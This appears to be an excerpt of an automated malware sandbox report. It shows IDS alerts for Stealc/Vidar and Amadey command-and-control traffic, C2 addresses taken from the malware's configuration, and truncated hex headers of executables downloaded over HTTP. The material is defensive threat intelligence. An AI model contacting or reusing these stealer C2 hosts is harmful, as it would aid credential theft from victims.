Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.30:80 -> 192.168.2.7:49699
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.7:51497 -> 77.91.77.82:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 05 Jul 2024 04:23:11 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
